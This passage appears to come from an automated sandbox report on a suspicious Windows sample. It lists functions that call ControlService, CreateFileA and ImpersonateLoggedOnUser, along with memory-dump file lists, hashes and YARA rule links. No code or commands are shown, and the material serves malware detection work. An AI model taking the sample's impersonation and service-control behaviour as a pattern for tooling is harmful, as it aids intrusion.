Function 048B1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 048B1580

Memory Dump Source

Source File: 00000004.00000002.1706314551.00000000048B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_48b0000_APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: fd680e7bb012d8f13d020be697c490abf5ff1d8aae1a2e67f625f397c666d64a
Instruction ID: 399f55c47d67e7310fd7bbc29b92cb4415ca302c23230ce2f9e36cbe5f6debad
Opcode Fuzzy Hash: fd680e7bb012d8f13d020be697c490abf5ff1d8aae1a2e67f625f397c666d64a
Instruction Fuzzy Hash: 7811F2B1D003498FDB20CF9AC485BDEBBF4AB48320F108529E958A7240D378AA44CFA5

Function 0108D1D4 Relevance: 1.6, APIs: 1, Instructions: 51
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,C3562899), ref: 0108D270

Memory Dump Source

Source File: 00000004.00000002.1703392908.0000000001085000.00000040.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000004.00000002.1703124498.0000000000EF0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703152835.0000000000EF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703178815.0000000000EF6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703197983.0000000000EFA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703218709.0000000000F06000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703352335.000000000106B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703371509.000000000106D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703392908.0000000001092000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703428718.0000000001099000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703459080.000000000109A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703490363.000000000109C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703580809.000000000109D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703610267.00000000010A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703636436.00000000010AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703661150.00000000010AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703686740.00000000010AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703716336.00000000010C2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703742806.00000000010C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703768573.00000000010C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703797590.00000000010D9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703824478.00000000010E4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703849418.00000000010E8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703874282.00000000010F0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703904591.00000000010F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703930643.00000000010FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703954961.0000000001100000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703979086.0000000001101000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704005132.0000000001106000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704030131.000000000110E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704053950.0000000001111000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704080261.0000000001120000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704105502.0000000001124000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704131849.0000000001125000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704156420.0000000001127000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704181271.0000000001130000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704207107.0000000001133000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704232548.0000000001134000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704258016.0000000001135000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704281887.0000000001136000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704307013.0000000001137000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704331759.0000000001139000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704356693.000000000113C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704380637.000000000113D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704407630.0000000001145000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704453685.0000000001199000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704477921.000000000119A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704502977.00000000011A3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704502977.00000000011AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704553484.00000000011B8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704579641.00000000011BA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ef0000_APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 9e8f16c40e5c72c9f19b8941dd0010439ef47dbd58382f5d613166240bb9a8b4
Instruction ID: 191a989afc6c27f081a3a715373511118301c0f6a49b277987737ddf125f0687
Opcode Fuzzy Hash: 9e8f16c40e5c72c9f19b8941dd0010439ef47dbd58382f5d613166240bb9a8b4
Instruction Fuzzy Hash: 52F04CFA14C2513DF201E6B82DD1DFEBB6CEA92270B304699FCC29B4C3D2849D085320

Function 0108D1F4 Relevance: 1.5, APIs: 1, Instructions: 48
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,C3562899), ref: 0108D270

Memory Dump Source

Source File: 00000004.00000002.1703392908.0000000001085000.00000040.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000004.00000002.1703124498.0000000000EF0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703152835.0000000000EF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703178815.0000000000EF6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703197983.0000000000EFA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703218709.0000000000F06000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703352335.000000000106B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703371509.000000000106D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703392908.0000000001092000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703428718.0000000001099000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703459080.000000000109A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703490363.000000000109C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703580809.000000000109D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703610267.00000000010A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703636436.00000000010AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703661150.00000000010AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703686740.00000000010AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703716336.00000000010C2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703742806.00000000010C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703768573.00000000010C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703797590.00000000010D9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703824478.00000000010E4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703849418.00000000010E8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703874282.00000000010F0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703904591.00000000010F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703930643.00000000010FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703954961.0000000001100000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703979086.0000000001101000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704005132.0000000001106000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704030131.000000000110E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704053950.0000000001111000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704080261.0000000001120000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704105502.0000000001124000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704131849.0000000001125000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704156420.0000000001127000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704181271.0000000001130000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704207107.0000000001133000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704232548.0000000001134000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704258016.0000000001135000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704281887.0000000001136000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704307013.0000000001137000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704331759.0000000001139000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704356693.000000000113C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704380637.000000000113D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704407630.0000000001145000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704453685.0000000001199000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704477921.000000000119A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704502977.00000000011A3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704502977.00000000011AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704553484.00000000011B8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704579641.00000000011BA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ef0000_APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f53ef38a8ffa1560c498c74a0eed6f92ff228dbfc5fb58b91a86979505e81d2e
Instruction ID: 57ec336c30d57abe3cb10511edf40a8cab5d4b29a1ba40f095d6780c6478f133
Opcode Fuzzy Hash: f53ef38a8ffa1560c498c74a0eed6f92ff228dbfc5fb58b91a86979505e81d2e
Instruction Fuzzy Hash: 0BF059F714D3167DF20199E12F91BFABB6CEAA2234B304214F8C1870C3D291890A53B0

Function 048B1301 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 048B1367

Memory Dump Source

Source File: 00000004.00000002.1706314551.00000000048B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_48b0000_APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 727798a8ae09fd313d482bb6e7f14231d322095df8d80928f60bdd809ae46e92
Instruction ID: 1e100ef36fe186dc446dbfa8c981aa73437194cff7c5f421e4cf316911427318
Opcode Fuzzy Hash: 727798a8ae09fd313d482bb6e7f14231d322095df8d80928f60bdd809ae46e92
Instruction Fuzzy Hash: CE1134718043498FDB10DF9AD445BDEFBF4EB48320F248429D568A3240D738A544CFA5

Function 048B1308 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 048B1367

Memory Dump Source

Source File: 00000004.00000002.1706314551.00000000048B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_48b0000_APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 2520a28c86b494f5ef6e1b1bc412a80b36333fd2ddc836df5dd28bf55b283b90
Instruction ID: 56367d41f206215f6b0c386bd9ddb105f4c53fd20c977caf4a7962fecd3e0072
Opcode Fuzzy Hash: 2520a28c86b494f5ef6e1b1bc412a80b36333fd2ddc836df5dd28bf55b283b90
Instruction Fuzzy Hash: 391125B18003498FDB20CF9AC445BDEFBF4EB48320F14842AD558A3740D778A944CFA5

Function 0108D28D Relevance: 1.5, APIs: 1, Instructions: 41fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,C3562899), ref: 0108D270

Memory Dump Source

Source File: 00000004.00000002.1703392908.0000000001085000.00000040.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000004.00000002.1703124498.0000000000EF0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703152835.0000000000EF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703178815.0000000000EF6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703197983.0000000000EFA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703218709.0000000000F06000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703352335.000000000106B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703371509.000000000106D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703392908.0000000001092000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703428718.0000000001099000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703459080.000000000109A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703490363.000000000109C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703580809.000000000109D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703610267.00000000010A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703636436.00000000010AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703661150.00000000010AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703686740.00000000010AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703716336.00000000010C2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703742806.00000000010C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703768573.00000000010C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703797590.00000000010D9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703824478.00000000010E4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703849418.00000000010E8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703874282.00000000010F0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703904591.00000000010F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703930643.00000000010FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703954961.0000000001100000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703979086.0000000001101000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704005132.0000000001106000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704030131.000000000110E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704053950.0000000001111000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704080261.0000000001120000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704105502.0000000001124000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704131849.0000000001125000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704156420.0000000001127000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704181271.0000000001130000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704207107.0000000001133000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704232548.0000000001134000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704258016.0000000001135000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704281887.0000000001136000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704307013.0000000001137000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704331759.0000000001139000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704356693.000000000113C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704380637.000000000113D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704407630.0000000001145000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704453685.0000000001199000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704477921.000000000119A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704502977.00000000011A3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704502977.00000000011AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704553484.00000000011B8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704579641.00000000011BA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ef0000_APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 8d93a335389a60d65312655005a4052221c5347c085aee2c66efe19887d0df15
Instruction ID: 044a24960dbf7d5f2b5a7750761e472702f764ba380471f4cd3a7646e4d50939
Opcode Fuzzy Hash: 8d93a335389a60d65312655005a4052221c5347c085aee2c66efe19887d0df15
Instruction Fuzzy Hash: 3CF059A628C3912DD21366A02D646F97B24DAA3430B3446D9E8C1CB0C2C250E0099371

Function 0108D234 Relevance: 1.5, APIs: 1, Instructions: 34fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,C3562899), ref: 0108D270

Memory Dump Source

Source File: 00000004.00000002.1703392908.0000000001085000.00000040.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000004.00000002.1703124498.0000000000EF0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703152835.0000000000EF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703178815.0000000000EF6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703197983.0000000000EFA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703218709.0000000000F06000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703352335.000000000106B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703371509.000000000106D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703392908.0000000001092000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703428718.0000000001099000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703459080.000000000109A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703490363.000000000109C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703580809.000000000109D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703610267.00000000010A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703636436.00000000010AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703661150.00000000010AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703686740.00000000010AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703716336.00000000010C2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703742806.00000000010C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703768573.00000000010C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703797590.00000000010D9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703824478.00000000010E4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703849418.00000000010E8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703874282.00000000010F0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703904591.00000000010F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703930643.00000000010FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703954961.0000000001100000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703979086.0000000001101000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704005132.0000000001106000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704030131.000000000110E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704053950.0000000001111000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704080261.0000000001120000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704105502.0000000001124000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704131849.0000000001125000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704156420.0000000001127000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704181271.0000000001130000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704207107.0000000001133000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704232548.0000000001134000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704258016.0000000001135000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704281887.0000000001136000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704307013.0000000001137000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704331759.0000000001139000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704356693.000000000113C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704380637.000000000113D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704407630.0000000001145000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704453685.0000000001199000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704477921.000000000119A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704502977.00000000011A3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704502977.00000000011AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704553484.00000000011B8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704579641.00000000011BA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ef0000_APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 81b1b3918112b4f382805c56d06394b0510975f0a82f1e8137a63523ebd468b5
Instruction ID: 35da67ebf9d88e9ebe94d6f91a26e7a00cb456fc5ac907679fa8a90d37922abf
Opcode Fuzzy Hash: 81b1b3918112b4f382805c56d06394b0510975f0a82f1e8137a63523ebd468b5
Instruction Fuzzy Hash: 20E0D8D754C2402DF11211E12A616F93724C2F3970B3045A5E8C2870C391419A0A2372

Function 0108D24C Relevance: 1.5, APIs: 1, Instructions: 25fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,C3562899), ref: 0108D270

Memory Dump Source

Source File: 00000004.00000002.1703392908.0000000001085000.00000040.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000004.00000002.1703124498.0000000000EF0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703152835.0000000000EF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703178815.0000000000EF6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703197983.0000000000EFA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703218709.0000000000F06000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703352335.000000000106B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703371509.000000000106D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703392908.0000000001092000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703428718.0000000001099000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703459080.000000000109A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703490363.000000000109C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703580809.000000000109D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703610267.00000000010A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703636436.00000000010AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703661150.00000000010AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703686740.00000000010AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703716336.00000000010C2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703742806.00000000010C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703768573.00000000010C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703797590.00000000010D9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703824478.00000000010E4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703849418.00000000010E8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703874282.00000000010F0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703904591.00000000010F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703930643.00000000010FB000.00000080.00000001.01000000.00000006.sdmpDownload File
